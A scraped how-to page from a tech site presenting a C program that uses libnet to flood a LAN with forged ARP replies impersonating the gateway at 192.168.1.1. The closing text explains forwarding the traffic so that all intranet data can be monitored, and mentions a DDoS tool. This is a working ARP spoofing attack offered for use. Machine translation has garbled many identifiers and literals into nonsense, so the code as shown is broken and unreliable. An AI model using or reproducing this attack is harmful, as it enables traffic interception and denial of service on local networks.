In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-03-15 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)05/31 Report--
This article Xiaobian introduces in detail for you "Linux how to use libnet to achieve ARP attack script", the content is detailed, the steps are clear, and the details are handled properly. I hope that this "Linux how to use libnet to achieve ARP attack script" article can help you solve your doubts.
The code is as follows:
# include "arp.h"
Int main (int argc,char * * argv) {
Libnet_t * l
Int iPACKETS; / / the length of packets sent
Libnet_ptag_t arp_tag,ether_tag
Char * device= "eth0"
Char err_ buf[libnet _ errbuf_size]
Char * destion_ip_str = "255.255.255.255"
Char * source_ip_str = "192.168.1.1"
U_char source_hardware [6] = {0x00.0x0c 0x29.0x68.0x95.0x84}.
U_char destion_hardware [6] = {0xff.0xff.0xff.0xff.0xffre0xffre0xffre0xff}
U_int32_t source_ip,destion_ip
/ / convert character form ip to network byte order
Source_ip = libnet_name2addr4 (lforce sourcekeeper iptape strand libnetglasses)
Destion_ip = libnet_name2addr4 (l.j.destion.ippedia str.libnetcards.)
/ / initialize the libnet handle
L = libnet_init (libnet_link,device,err_buf)
If (l = = null) {
Printf ("failed to initialize libnet handle:% s\ n", err_buf)
Exit (- 1)
}
Arp_tag = libnet_build_arp (
Arphrd_ether, / / hardware address type, here is Ethernet type
Ethertype_ip, / / Protocol address type
six,
four,
Arpop_reply, / / arp reply
Source_hardware
(u_int8_t *) & source_ip
Destion_hardware
(u_int8_t *) & destion_ip
Null, / / No load
0, / / the load length is 0
L
0 / / Protocol block tag, 0, indicating the creation of a new protocol block
);
Ether_tag = libnet_build_ethernet (
(u_int8_t *) & destion_hardware
(u_int8_t *) & source_hardware
Ethertype_arp
Null
0
L
0
);
I = 0
While (1) {
Packet_size = libnet_write (l); / / send the constructed arp packet
Usleep (10)
ITunes +
}
Printf ("packet length:% d\ n", packet_size)
Libnet_destroy (l)
Return 0
}
The destination mac is a broadcast address, and the full 0xff is fine. The source mac address can be native mac or casually forged mac (get the native mac available ioctl function in the program. Recently, when you are writing a ddos attack program, you use ioctl to obtain native mac and ip. Note that the arp packet type is arpop_reply (answer packet).
If you do not want to disconnect the network, but only cheat, after the data is sent, it should be forwarded to the correct gateway to ensure that the intranet network is normal and all the data is monitored.
Read this, the "Linux how to use libnet to achieve ARP attack script" article has been introduced, want to master the knowledge of this article still need to practice and use in order to understand, if you want to know more related articles, welcome to follow the industry information channel.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.